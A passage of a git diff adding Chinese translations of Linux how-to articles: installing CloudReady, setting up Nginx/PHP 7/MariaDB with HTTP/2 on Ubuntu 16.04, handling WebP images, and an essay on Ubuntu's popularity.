bin 文件并选中,选好 USB 驱动器,点击继续,然后点击创建按钮(图 2)。它会开始将镜像写入驱动器。 + +![](https://www.linux.com/sites/lcom/files/styles/rendered_file/public/cloudready-create.png?itok=S1FGzRp-) + +*图 2:创建 CloudReady 镜像。[Image:cloudready-create]* + +驱动器写好可启动的 CloudReady 之后,插到目标 PC 上并启动。系统启动进 Chromium OS 需要一小段时间。启动之后,你会看到图 3 中的界面。 + +![](https://www.linux.com/sites/lcom/files/styles/rendered_file/public/cloud-ready-install-1.jpg?itok=D6SjlIQ4) + +*图 3:准备好安装 CloudReady。* + +![](https://www.linux.com/sites/lcom/files/styles/floated_images/public/cloud-ready-install-single_crop.jpg?itok=My2rUjYC) + +*图 4:单系统选项。* + +到任务栏选择 Install CloudReady(安装 CloudReady)。 + +你可以安装 Chromium OS 和其它系统的双系统启动,但另一个系统这时应该已经安装好了。 + +在下一个窗口选择单系统(图 4)或是双系统(图 5)。 + +按照下一步按钮说明选择安装。 + +![](https://www.linux.com/sites/lcom/files/styles/floated_images/public/cloud-ready-install-dual_crop.jpg?itok=Daywck_s) + +*图 5:双系统选项。* + +整个过程最多 20 分钟左右,这取决于存储媒介和处理能力。安装完成后,电脑会关闭并重启。 + +重启之后,你会看到网络设置页面(图 6)。让人激动的是,虽然我在相同硬件上要给 Linux 发行版安装无线驱动,到了 Chromium OS 这里是开箱即用的。 + +你连上无线网络之后,系统会自动查找更新并提供 Adobe Flash 安装。安装完成后,你会看到 Chromium OS 登录界面。现在你只需登录你的 Gmail 账户,开始使用你的“Chromebook”即可。 + +![](https://www.linux.com/sites/lcom/files/styles/rendered_file/public/cloud-ready-post-install-network.jpg?itok=gSX2fQZS) + +*图 6:网络设置。* + +### 让 Netflix 正常工作 + +如果你想要播放 Netflix 或其它 DRM 保护流媒体站点,你需要做一些额外的工作。转到设置并点击安装 Widevine 插件(图 7)。 + +![](https://www.linux.com/sites/lcom/files/styles/rendered_file/public/install_widevine.png?itok=bUJaRmyx0) + +*图 7:安装 Widevine。* + +![](https://www.linux.com/sites/lcom/files/styles/floated_images/public/user-agent-changer.jpg?itok=5QDCLrZk) + +*图 8:安装 User Agent Switcher。* + +现在你需要使用 user agent switcher 这个伎俩(图 8)。 + +到 Chrome Webstore 去安装 [User Agent Switcher][5]。插件安装完成后,它会自动添加到浏览器的书签栏。 + +右键点击 agent switcher 图标并创建一个新条目(图 9): + +``` +Name: "CloudReady Widevine" + +String: "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/16.10 Chrome/49.0.1453.93" + +Group: "Chrome" (应该被自动填上了) + +Append: "Replace" + +Indicator Flag: "IE" + +``` + +点击“添加(Add)”。 + +![](https://www.linux.com/sites/lcom/files/styles/rendered_file/public/spoof-netflix.png?itok=8DEZK4Pl) + +*图 9:为 CloudReady 创建条目。* + +然后,到“permanent spoof list(永久欺骗列表)”选项中将 CloudReady Widevine 添加为 [www.netflix.com](http://www.netflix.com) 的永久 UA 串。 + +现在,重启机器,你就可以观看 Netflix 和其它一些服务了。 + +-------------------------------------------------------------------------------- + +via: https://www.linux.com/learn/turn-your-old-laptop-chromebook + +作者:[SWAPNIL BHARTIYA][a] +译者:[alim0x](https://github.com/alim0x) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linux.com/users/arnieswap +[1]: https://chrome.googleblog.com/2016/05/the-google-play-store-coming-to.html +[2]: http://www.neverware.com/#introtext-3 +[3]: https://chrome.google.com/webstore/detail/chromebook-recovery-utili/jndclpdbaamdhonoechobihbbiimdgai?hl=en +[4]: http://www.neverware.com/freedownload +[5]: https://chrome.google.com/webstore/detail/user-agent-switcher-for-c/djflhoibgkdhkhhcedjiklpkjnoahfmg diff --git a/published/201607/20160530 Install LEMP with MariaDB 10, PHP 7 and HTTP 2.0 Support for Nginx on Ubuntu 16.04.md b/published/201607/20160530 Install LEMP with MariaDB 10, PHP 7 and HTTP 2.0 Support for Nginx on Ubuntu 16.04.md new file mode 100644 index 0000000000..0ff5f7a412 --- /dev/null +++ b/published/201607/20160530 Install LEMP with MariaDB 10, PHP 7 and HTTP 2.0 Support for Nginx on Ubuntu 16.04.md @@ -0,0 +1,322 @@ +在 Ubuntu 16.04 为 Nginx 服务器安装 LEMP 环境(MariaDB,PHP 7 并支持 HTTP 2.0) +===================== + +LEMP 是个缩写,代表一组软件包(L:Linux OS,E:Nginx 网络服务器,M:MySQL/MariaDB 数据库和 P:PHP 服务端动态编程语言),它被用来搭建动态的网络应用和网页。 + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Install-Nginx-with-FastCGI-on-Ubuntu-16.04.png) + +*在 Ubuntu 16.04 安装 Nginx 以及 MariaDB,PHP7 并且支持 HTTP 2.0* + +这篇教程会教你怎么在 Ubuntu 16.04 的服务器上安装 LEMP (Nginx 和 MariaDB 以及 PHP7)。 + +**前置准备** + +- [安装 Ubuntu 16.04 服务器版本][1] + +### 步骤 1:安装 Nginx 服务器 + +1、Nginx 是一个先进的、资源优化的 Web 服务器程序,用来向因特网上的访客展示网页。我们从 Nginx 服务器的安装开始介绍,使用 [apt 命令][2] 从 Ubuntu 的官方软件仓库中获取 Nginx 程序。 + +``` +$ sudo apt-get install nginx +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Install-Nginx-on-Ubuntu-16.04.png) + +*在 Ubuntu 16.04 安装 Nginx* + +2、 然后输入 [netstat][3] 和 [systemctl][4] 命令,确认 Nginx 进程已经启动并且绑定在 80 端口。 + +``` +$ netstat -tlpn +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Check-Nginx-Network-Port-Connection.png) + +*检查 Nginx 网络端口连接* + +``` +$ sudo systemctl status nginx.service +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Check-Nginx-Service-Status.png) + +*检查 Nginx 服务状态* + +当你确认服务进程已经启动了,你可以打开一个浏览器,使用 HTTP 协议访问你的服务器 IP 地址或者域名,浏览 Nginx 的默认网页。 + +``` +http://IP-Address +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Verify-Nginx-Webpage.png) + +*验证 Nginx 网页* + +### 步骤 2:启用 Nginx HTTP/2.0 协议 + +3、 对 HTTP/2.0 协议的支持默认包含在 Ubuntu 16.04 最新发行版的 Nginx 二进制文件中了,它只能通过 SSL 连接并且保证加载网页的速度有巨大提升。 + +要启用Nginx 的这个协议,首先找到 Nginx 提供的网站配置文件,输入下面这个命令备份配置文件。 + +``` +$ cd /etc/nginx/sites-available/ +$ sudo mv default default.backup +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Backup-Nginx-Sites-Configuration-File.png) + +*备份 Nginx 的网站配置文件* + +4、然后,用文本编辑器新建一个默认文件,输入以下内容: + +``` +server { + listen 443 ssl http2 default_server; + listen [::]:443 ssl http2 default_server; + + root /var/www/html; + + index index.html index.htm index.php; + + server_name 192.168.1.13; + + location / { + try_files $uri $uri/ =404; + } + + ssl_certificate /etc/nginx/ssl/nginx.crt; + ssl_certificate_key /etc/nginx/ssl/nginx.key; + + ssl_protocols TLSv1 TLSv1.1 TLSv1.2; + ssl_prefer_server_ciphers on; + ssl_ciphers EECDH+CHACHA20:EECDH+AES128:RSA+AES128:EECDH+AES256:RSA+AES256:EECDH+3DES:RSA+3DES:!MD5; + ssl_dhparam /etc/nginx/ssl/dhparam.pem; + ssl_session_cache shared:SSL:20m; + ssl_session_timeout 180m; + resolver 8.8.8.8 8.8.4.4; + add_header Strict-Transport-Security "max-age=31536000; + #includeSubDomains" always; + + + location ~ \.php$ { + include snippets/fastcgi-php.conf; + fastcgi_pass unix:/run/php/php7.0-fpm.sock; + } + + location ~ /\.ht { + deny all; + } + +} + +server { + listen 80; + listen [::]:80; + server_name 192.168.1.13; + return 301 https://$server_name$request_uri; +} +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Enable-Nginx-HTTP-2-Protocol.png) + +*启用 Nginx HTTP 2 协议* + +上面的配置片段向所有的 SSL 监听指令中添加 http2 参数来启用 `HTTP/2.0`。 + +上述添加到服务器配置的最后一段,是用来将所有非 SSL 的流量重定向到 SSL/TLS 默认主机。然后用你主机的 IP 地址或者 DNS 记录(最好用 FQDN 名称)替换掉 `server_name` 选项的参数。 + +5、 当你按照以上步骤编辑完 Nginx 的默认配置文件之后,用下面这些命令来生成、查看 SSL 证书和密钥。 + +用你自定义的设置完成证书的制作,注意 Common Name 设置成和你的 DNS FQDN 记录或者服务器 IP 地址相匹配。 + +``` +$ sudo mkdir /etc/nginx/ssl +$ sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl/nginx.key -out /etc/nginx/ssl/nginx.crt +$ ls /etc/nginx/ssl/ +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Generate-SSL-Certificate-and-Key.png) + +*生成 Nginx 的 SSL 证书和密钥* + +6、 通过输入以下命令使用一个强 DH 加密算法,这会修改之前的配置文件 `ssl_dhparam` 所配置的文件。 + +``` +$ sudo openssl dhparam -out /etc/nginx/ssl/dhparam.pem 2048 +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Create-Diffie-Hellman-Key.png) + +*创建 Diffie-Hellman 密钥* + +7、 当 `Diffie-Hellman` 密钥生成之后,验证 Nginx 的配置文件是否正确、能否被 Nginx 网络服务程序应用。然后运行以下命令重启守护进程来观察有什么变化。 + +``` +$ sudo nginx -t +$ sudo systemctl restart nginx.service +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Check-Nginx-Configuration.png) + +*检查 Nginx 的配置* + +8、 键入下面的命令来测试 Nginx 使用的是 HTTP/2.0 协议。看到协议中有 `h2` 的话,表明 Nginx 已经成功配置使用 HTTP/2.0 协议。所有最新的浏览器默认都能够支持这个协议。 + +``` +$ openssl s_client -connect localhost:443 -nextprotoneg '' +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Test-Nginx-HTTP-2-Protocol.png) + +*测试 Nginx HTTP 2.0 协议* + +### 第 3 步:安装 PHP 7 解释器 + +通过 FastCGI 进程管理程序的协助,Nginx 能够使用 PHP 动态语言解释器生成动态网络内容。FastCGI 能够从 Ubuntu 官方仓库中安装 php-fpm 二进制包来获取。 + +9、 在你的服务器控制台里输入下面的命令来获取 PHP7.0 和扩展包,这能够让 PHP 与 Nginx 网络服务进程通信。 + +``` +$ sudo apt install php7.0 php7.0-fpm +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Install-PHP-7-PHP-FPM-for-Ngin.png) + +*安装 PHP 7 以及 PHP-FPM* + +10、 当 PHP7.0 解释器安装成功后,输入以下命令启动或者检查 php7.0-fpm 守护进程: + +``` +$ sudo systemctl start php7.0-fpm +$ sudo systemctl status php7.0-fpm +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Start-Verify-php-fpm-Service.png) + +*开启、验证 php-fpm 服务* + +11、 当前的 Nginx 配置文件已经配置了使用 PHP FPM 来提供动态内容。 + +下面给出的这部分服务器配置让 Nginx 能够使用 PHP 解释器,所以不需要对 Nginx 配置文件作别的修改。 + +``` +location ~ \.php$ { + include snippets/fastcgi-php.conf; + fastcgi_pass unix:/run/php/php7.0-fpm.sock; + } +``` + +下面是的截图是 Nginx 默认配置文件的内容。你可能需要对其中的代码进行修改或者取消注释。 + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Enable-PHP-FastCGI-for-Nginx.png) + +*启用 PHP FastCGI* + +12、 要测试启用了 PHP-FPM 的 Nginx 服务器,用下面的命令创建一个 PHP 测试配置文件 `info.php`。接着用 `http://IP_or domain/info.php` 这个网址来查看配置。 + +``` +$ sudo su -c 'echo "" |tee /var/www/html/info.php' +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Create-PHP-Info-File.png) + +*创建 PHP Info 文件* + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Verify-PHP-FastCGI-Info.png) + +*检查 PHP FastCGI 的信息* + +检查服务器是否宣告支持 HTTP/2.0 协议,定位到 PHP 变量区域中的 `$_SERVER[‘SERVER_PROTOCOL’]` 就像下面这张截图一样。 + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Check-HTTP-2.0-Protocol-Info.png) + +*检查 HTTP2.0 协议信息* + +13、 为了安装其它的 PHP7.0 模块,使用 `apt search php7.0` 命令查找 php 的模块然后安装。 + +如果你想要 [安装 WordPress][5] 或者别的 CMS,需要安装以下的 PHP 模块,这些模块迟早有用。 + +``` +$ sudo apt install php7.0-mcrypt php7.0-mbstring +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Install-PHP-7-Modules.png) + +*安装 PHP 7 模块* + +14、 要注册这些额外的 PHP 模块,输入下面的命令重启 PHP-FPM 守护进程。 + +``` +$ sudo systemctl restart php7.0-fpm.service +``` + +### 第 4 步:安装 MariaDB 数据库 + +15、 最后,我们需要 MariaDB 数据库来存储、管理网站数据,才算完成 LEMP 的搭建。 + +运行下面的命令安装 MariaDB 数据库管理系统,重启 PHP-FPM 服务以便使用 MySQL 模块与数据库通信。 + +``` +$ sudo apt install mariadb-server mariadb-client php7.0-mysql +$ sudo systemctl restart php7.0-fpm.service +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Install-MariaDB-for-Nginx.png) + +*安装 MariaDB* + +16、 为了安全加固 MariaDB,运行来自 Ubuntu 软件仓库中的二进制包提供的安全脚本,这会询问你设置一个 root 密码,移除匿名用户,禁用 root 用户远程登录,移除测试数据库。 + +输入下面的命令运行脚本,并且确认所有的选择。参照下面的截图。 + +``` +$ sudo mysql_secure_installation +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Secure-MariaDB-Installation-for-Nginx.png) + +*MariaDB 的安全安装* + +17、 配置 MariaDB 以便普通用户能够不使用系统的 sudo 权限来访问数据库。用 root 用户权限打开 MySQL 命令行界面,运行下面的命令: + +``` +$ sudo mysql +MariaDB> use mysql; +MariaDB> update user set plugin=’‘ where User=’root’; +MariaDB> flush privileges; +MariaDB> exit +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/05/MariaDB-User-Permissions.png) + +*MariaDB 的用户权限* + +最后通过执行以下命令登录到 MariaDB 数据库,就可以不需要 root 权限而执行任意数据库内的命令: + +``` +$ mysql -u root -p -e 'show databases' +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Check-MariaDB-Databases.png) + +*查看 MariaDB 数据库* + +好了!现在你拥有了配置在 **Ubuntu 16.04** 服务器上的 **LEMP** 环境,你能够部署能够与数据库交互的复杂动态网络应用。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/install-nginx-mariadb-php7-http2-on-ubuntu-16-04/ + +作者:[Matei Cezar][a] +译者:[GitFuture](https://github.com/GitFuture) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.tecmint.com/author/cezarmatei/ +[1]: http://www.tecmint.com/installation-of-ubuntu-16-04-server-edition/ +[2]: http://www.tecmint.com/apt-advanced-package-command-examples-in-ubuntu/ +[3]: http://www.tecmint.com/20-netstat-commands-for-linux-network-management/ +[4]: http://www.tecmint.com/manage-services-using-systemd-and-systemctl-in-linux/ +[5]: http://www.tecmint.com/install-wordpress-using-lamp-or-lemp-on-rhel-centos-fedora/ diff --git a/published/201607/20160531 HOW TO USE WEBP IMAGES IN UBUNTU LINUX.md b/published/201607/20160531 HOW TO USE WEBP IMAGES IN UBUNTU LINUX.md new file mode 100644 index 0000000000..e6287d62e9 --- /dev/null +++ b/published/201607/20160531 HOW TO USE WEBP IMAGES IN UBUNTU LINUX.md @@ -0,0 +1,186 @@ +在 Ubuntu Linux 中使用 WebP 图片 +========================================= + +![](http://itsfoss.com/wp-content/uploads/2016/05/support-webp-ubuntu-linux.jpg) + +> 简介:这篇指南会向你展示如何在 Linux 下查看 WebP 图片以及将 WebP 图片转换为 JPEG 或 PNG 格式。 + +### 什么是 WebP? + +自从 Google 推出 [WebP 图片格式][0],已经过去五年了。Google 说,WebP 提供有损和无损压缩,相比 JPEG 压缩,WebP 压缩文件大小,能更小约 25%。 + +Google 的目标是让 WebP 成为 web 图片的新标准,但是并没有成为现实。已经五年过去了,除了谷歌的生态系统以外它仍未被接受成为一个标准。但正如我们所知的,Google 对它的技术很有进取心。几个月前 Google 将 Google Plus 的所有图片改为了 WebP 格式。 + +如果你用 Google Chrome 从 Google Plus 上下载那些图片,你会得到 WebP 图片,不论你之前上传的是 PNG 还是 JPEG。这都不是重点。真正的问题在于当你尝试着在 Ubuntu 中使用默认的 GNOME 图片查看器打开它时你会看到如下错误: + +> **Could not find XYZ.webp(无法找到 XYZ.webp)** + +> **Unrecognized image file format(未识别文件格式)** + +![](http://itsfoss.com/wp-content/uploads/2016/05/WebP-images-Ubuntu-Linux-1.png) + +*GNOME 图片查看器不支持 WebP 图片* + +在这个教程里,我们会看到 + +- 如何在 Linux 中添加 WebP 支持 +- 支持 WebP 图片的程序列表 +- 如何将 WebP 图片转换到 PNG 或 JPEG +- 如何将 WebP 图片直接下载为 PNG 格式 + +### 如何在 Ubuntu 以及其它 Linux 发行版中查看 WebP 图片 + +[GNOME 图片查看器][3]是许多 Linux 发行版的默认图片查看器,包括 Ubuntu,它不支持 WebP 图片。目前也没有可用的插件给 GNOME 图片查看器添加 WebP 支持。 + +这无非是意味着我们不能在 Linux 上用 GNOME 图片查看器打开 WebP 文件而已。一个更好的替代品,[gThumb][4],默认就支持 WebP 图片。 + +要在 Ubuntu 以及其它基于 Ubuntu 的发行版上安装 gThumb 的话,使用以下命令: + +``` +sudo apt-get install gthumb +``` + +一旦安装完成,你就可以简单地右键点击 WebP 图片,选择 gThumb 来打开它。你现在应该可以看到如下画面: + +![](http://itsfoss.com/wp-content/uploads/2016/05/WebP-images-Ubuntu-Linux-2.jpeg) + +*gThumb 中显示的 WebP 图片* + +### 让 gThumb 成为 Ubuntu 中 WebP 图片的默认应用 + +对 Ubuntu 新手而言,如果你想要让 gThumb 成为打开 WebP 文件的默认应用,跟着以下步骤操作: + +#### 步骤 1:右键点击 WebP 文件选择属性。 + +![](http://itsfoss.com/wp-content/uploads/2016/05/WebP-images-Ubuntu-Linux-3.png) + +*从右键菜单中选择属性* + +#### 步骤 2:转到打开方式标签,选择 gThumb 并点击设置为默认。 + +![](http://itsfoss.com/wp-content/uploads/2016/05/WebP-images-Ubuntu-Linux-4.png) + +*让 gThumb 成为 Ubuntu 中 WebP 图片的默认应用* + +### 让 gThumb 成为所有图片的默认应用 + +gThumb 的功能比图片查看器更多。举个例子,你可以做一些简单的图片编辑,给图片添加滤镜等。添加滤镜的效率没有 XnRetro(在[ Linux 下添加类似 Instagram 滤镜效果][5]的专用工具)那么高,但它还是有一些基础的滤镜可以用。 + +我非常喜欢 gThumb 并且决定让它成为默认的图片查看器。如果你也想在 Ubuntu 中让 gThumb 成为所有图片的默认应用,遵照以下步骤操作: + +步骤1:打开系统设置 + +![](http://itsfoss.com/wp-content/uploads/2014/04/System_Settings_ubuntu_1404.jpeg) + +步骤2:转到详情(Details) + +![](http://itsfoss.com/wp-content/uploads/2013/11/System_settings_Ubuntu_1.jpeg) + +步骤3:在这里将 gThumb 设置为图片的默认应用 + +![](http://itsfoss.com/wp-content/uploads/2016/05/WebP-images-Ubuntu-Linux-5.png) + +### Linux 上打开 WebP 文件的替代程序 + +可能你不喜欢 gThumb。如果这样的话,你可以选择下列应用来在 Linux 中查看 WebP 图片: + +- [XnView][6](非开源) +- GIMP 加上非官方 WebP 插件,可以从这个 [PPA][7] 安装,支持到 Ubuntu 15.10。我会在另一篇文章里提到。 +- [Gwenview][8] + +### 在 Linux 中将 WebP 图片转换为 PNG 和 JPEG + +在 Linux 上转换 WebP 图片有两种途径: + +- 命令行 +- 图形界面 + +#### 1.在 Linux 使用命令行转换 WebP 图片 + +你需要先安装 WebP 工具。打开终端并使用下列命令: + +``` +sudo apt-get install webp +``` + +##### 将 JPEG/PNG 转换为 WebP + +我们将使用 cwebp 命令(它代表转换为 WebP 的意思吗?)来将 JPEG 或 PNG 文件转换为 WebP。命令格式是这样的: + +``` +cwebp -q [图片质量] [JPEG/PNG_文件名] -o [WebP_文件名] +``` + +举个例子,你可以使用下列命令: + +``` +cwebp -q 90 example.jpeg -o example.webp +``` + +##### 将 WebP 转换为 JPEG/PNG + +要将 WebP 图片转换为 JPEG 或 PNG,我们将使用 dwebp 命令。命令格式是: + +``` +dwebp [WebP_文件名] -o [PNG_文件名] +``` + +该命令的一个例子: + +``` +dwebp example.webp -o example.png +``` + +#### 2.使用图形工具将 WebP 转换为 JPEG/PNG + +要实现这个目标,我们要使用 XnConvert,它是免费的应用但不是开源的。你可以从他们的网站上下载安装文件: + +[下载 XnConvert][1] + +XnConvert 是个强大的工具,你可以用它来批量修改图片尺寸。但在这个教程里,我们只介绍如何将单个 WebP 图片转换为 PNG/JPEG。 + +打开 XnConvert 并选择输入文件: + +![](http://itsfoss.com/wp-content/uploads/2016/05/WebP-images-Ubuntu-Linux-6.jpeg) + +在输出标签,选择你想要的输出格式。选择完后点击转换。 + +![](http://itsfoss.com/wp-content/uploads/2016/05/WebP-images-Ubuntu-Linux-7.jpeg) + +要将 WebP 图片转换为 PNG,JPEG 或其它你选择的图片格式,这就是你所需要做的一切了。 + +### 在 Chrome 浏览器中直接将 WebP 图片下载为 PNG + +也许你一点都不喜欢 WebP 图片格式,也不想在 Linux 仅仅为了查看 WebP 图片而安装一个新软件。如果你不得不将 WebP 文件转换以备将来使用,这会是件更痛苦的事情。 + +解决这个问题的一个更简单、不那么痛苦的途径是安装一个 Chrome 扩展 Save Image as PNG。有了这个插件,你可以右键点击 WebP 图片并直接存储为 PNG 格式。 + +![](http://itsfoss.com/wp-content/uploads/2016/05/WebP-images-Ubuntu-Linux-8.png) + +*在 Google Chrome 中将 WebP 图片保存为 PNG 格式* + +- [获取 Save Image as PNG 扩展][2] + +### 你的选择是? + +我希望这个详细的教程能够帮你在 Linux 上支持 WebP 并帮你转换 WebP 图片。你在 Linux 怎么处理 WebP 图片?你使用哪个工具?以上描述的方法中,你最喜欢哪一个? + +---------------------- +via: http://itsfoss.com/webp-ubuntu-linux/ + +作者:[Abhishek Prakash][a] +译者:[alim0x](https://github.com/alim0x) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://itsfoss.com/author/abhishek/ +[0]: https://developers.google.com/speed/webp/ +[1]: http://www.xnview.com/en/xnconvert/#downloads +[2]: https://chrome.google.com/webstore/detail/save-image-as-png/nkokmeaibnajheohncaamjggkanfbphi?utm_source=chrome-ntp-icon +[3]: https://wiki.gnome.org/Apps/EyeOfGnome +[4]: https://wiki.gnome.org/Apps/gthumb +[5]: http://itsfoss.com/add-instagram-effects-xnretro-ubuntu-linux/ +[6]: http://www.xnview.com/en/xnviewmp/#downloads +[7]: https://launchpad.net/~george-edison55/+archive/ubuntu/webp +[8]: https://userbase.kde.org/Gwenview diff --git a/published/201607/20160531 Why Ubuntu-based Distros Are Leaders.md b/published/201607/20160531 Why Ubuntu-based Distros Are Leaders.md new file mode 100644 index 0000000000..c909e753f7 --- /dev/null +++ b/published/201607/20160531 Why Ubuntu-based Distros Are Leaders.md @@ -0,0 +1,63 @@ +为什么 Ubuntu 家族会占据 Linux 发行版的主导地位? +========================================= + +在过去的数年中,我体验了一些优秀的 Linux 发行版。给我印象最深刻的是那些由强大的社区维护的发行版,而流行的发行版比强大的社区给我的印象更深。流行的 Linux 发行版往往能吸引新用户,这通常是由于其流行而使得使用该发行版会更加容易。并非绝对如此,但一般来说是这样的。 + +说到这里,首先映入我脑海的一个发行版是 [Ubuntu][1]。其基于健壮的 [Debian][2] 发行版构建,它不仅成为了一个非常受欢迎的 Linux 发行版,而且它也衍生出了不可计数的其他分支,比如 Linux Mint 就是一个例子。在本文中,我会探讨为何我认为 Ubuntu 会赢得 Linux 发行版之战的原因,以及它是怎样影响到了整个 Linux 桌面领域。 + +### Ubuntu 易于使用 + +在我几年前首次尝试使用 Ubuntu 前,我更喜欢使用 KED 桌面。在那个时期,我接触的大多是这种 KDE 桌面环境。主要原因还是 KDE 是大多数新手容易入手的 Linux 发行版中最受欢迎的。这些新手友好的发行版有 Knoppix、Simply Mepis、Xandros、Linspire 以及其它的发行版等等,这些发行版都推荐他们的用户去使用广受欢迎的 KDE。 + +现在 KDE 能满足我的需求,我也没有什么理由去折腾其他的桌面环境。有一天我的 Debian 安装失败了(由于我个人的操作不当),我决定尝试开发代号为 Dapper Drake 的 Ubuntu 版本(LCTT 译注:Ubuntu 6.06 - Dapper Drake,发布日期:2006 年 6 月 1 日),每个人都对它赞不绝口。那个时候,我对于它的印象仅限于屏幕截图,但是我想试试也挺有趣的。 + +Ubuntu Dapper Drake 给我的最大的印象是它让我很清楚地知道每个东西都在哪儿。记住,我是来自于 KDE 世界的用户,在 KDE 上要想改变菜单的设置就有 15 种方法 !而 Ubuntu 上的 GNOME 实现极具极简主义的。 + +时间来到 2016 年,最新的版本号是 16.04:我们有了好几种 Ubuntu 特色版本,也有一大堆基于 Ubuntu 的发行版。所有的 Ubuntu 特色版和衍生发行版的共同具有的核心都是为易用而设计。发行版想要增大用户基数时,这就是最重要的原因。 + +### Ubuntu LTS + +过去,我几乎一直坚持使用 LTS(Long Term Support)发行版作为我的主要桌面系统。10月份的发行版很适合我测试硬盘驱动器,甚至把它用在一个老旧的手提电脑上。我这样做的原因很简单——我没有兴趣在一个正式使用的电脑上折腾短期发行版。我是个很忙的家伙,我觉得这样会浪费我的时间。 + +对于我来说,我认为 Ubuntu 提供 LTS 发行版是 Ubuntu 能够变得流行的最大的原因。这样说吧———给普罗大众提供一个桌面 Linux 发行版,这个发行版能够得到长期的有效支持就是它的优势。事实上,不只 Ubuntu 是这样,其他的分支在这一点上也做的很好。长期支持策略以及对新手的友好环境,我认为这就为 Ubuntu 的普及带来了莫大的好处。 + +### Ubuntu Snap 软件包 + +以前,用户会夸赞可以在他们的系统上使用 PPA(personal package archive 个人软件包档案)获得新的软件。不好的是,这种技术也有缺点。当它用在各种软件名称时, PPA 经常会找不到,这种情况很常见。 + +现在有了 [Snap 软件包][3] 。当然这不是一个全新的概念,过去已经进行了类似的尝试。用户可以在一个长期支持版本上运行最新的软件,而不必去使用最新的 Ubuntu 发行版。虽然我认为目前还处于 Snap 软件包的早期,但是我很期待可以在一个稳定的发行版上运行的崭新的软件。 + +最明显的问题是,如果你要运行很多软件,那么 Snap 包实际会占用很多硬盘空间。不仅如此,大多数 Ubuntu 软件仍然需要由官方从 deb 包进行转换。第一个问题可以通过使用更大的硬盘空间得到解决,而后一个问题的解决则需要等待。 + +### Ubuntu 社区 + +首先,我承认大多数主要的 Linux 发行版都有强大的社区。然而,我坚信 Ubuntu 社区的成员是最多样化的,他们来自各行各业。例如,我们的论坛包括从苹果硬件支持到游戏等不同分类。特别是这些专业的讨论话题还非常广泛。 + +除过论坛,Ubuntu 也提供了一个很正式的社区组织。这个组织包括一个理事会、技术委员会、[本地社区团队][4]和开发者成员委员会。还有很多,但是这些都是我知道的社区组织部分。 + +我们还有一个 [Ubuntu 问答][5]版块。我认为,这种功能可以代替人们从论坛寻求帮助的方式,我发现在这个网站你得到有用信息的可能性更大。不仅如此,那些提供的解决方案中被选出的最精准的答案也会被写入到官方文档中。 + +### Ubuntu 的未来 + +我认为 Ubuntu 的 Unity 界面(LCTT 译注:Unity 是 Canonical 公司为 Ubuntu 操作系统的 GNOME 桌面环境开发的图形化界面)在提升桌面占有率上少有作为。我能理解其中的缘由,现在它主要做一些诸如可以使开发团队的工作更轻松的事情。但是最终,我还是认为 Unity 为 Ubuntu MATE 和 Linux Mint 的普及铺平道路。 + +我最好奇的一点是 Ubuntu's IRC 和邮件列表的发展(LCTT 译注:可以在 Ubuntu LoCo Teams 的 IRC Chat 上提问关于地方团队和计划的事件的问题,也可以和一些不同团队的成员进行交流)。事实是,他们都不能像 Ubuntu 问答板块那样文档化。至于邮件列表,我一直认为这对于合作是一种很痛苦的过时方法,但这仅仅是我的个人看法——其他人可能有不同的看法,也可能会认为它很好。 + +你怎么看?你认为 Ubuntu 将来会占据主要的份额吗?也许你会认为 Arch 和 Linux Mint 或者其他的发行版会在普及度上打败 Ubuntu? 既然这样,那请大声说出你最喜爱的发行版。如果这个发行版是 Ubuntu 衍生版 ,说说你为什么更喜欢它而不是 Ubuntu 本身。如果不出意外,Ubuntu 会成为构建其他发行版的基础,我想很多人都是这样认为的。 + +-------------------------------------------------------------------------------- + +via: http://www.datamation.com/open-source/why-ubuntu-based-distros-are-leaders.html + +作者:[Matt Hartley][a] +译者:[vim-kakali](https://github.com/vim-kakali) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.datamation.com/author/Matt-Hartley-3080.html +[1]: http://www.ubuntu.com/ +[2]: https://www.debian.org/ +[3]: http://www.datamation.com/open-source/ubuntu-snap-packages-the-good-the-bad-the-ugly.html +[4]: http://loco.ubuntu.com/ +[5]: http://askubuntu.com/ diff --git a/published/201607/20160602 How to mount your Google Drive on Linux with google-drive-ocamlfuse.md b/published/201607/20160602 How to mount your Google Drive on Linux with google-drive-ocamlfuse.md new file mode 100644 index 0000000000..e993dc5e58 --- /dev/null +++ b/published/201607/20160602 How to mount your Google Drive on Linux with google-drive-ocamlfuse.md @@ -0,0 +1,64 @@ +教你用 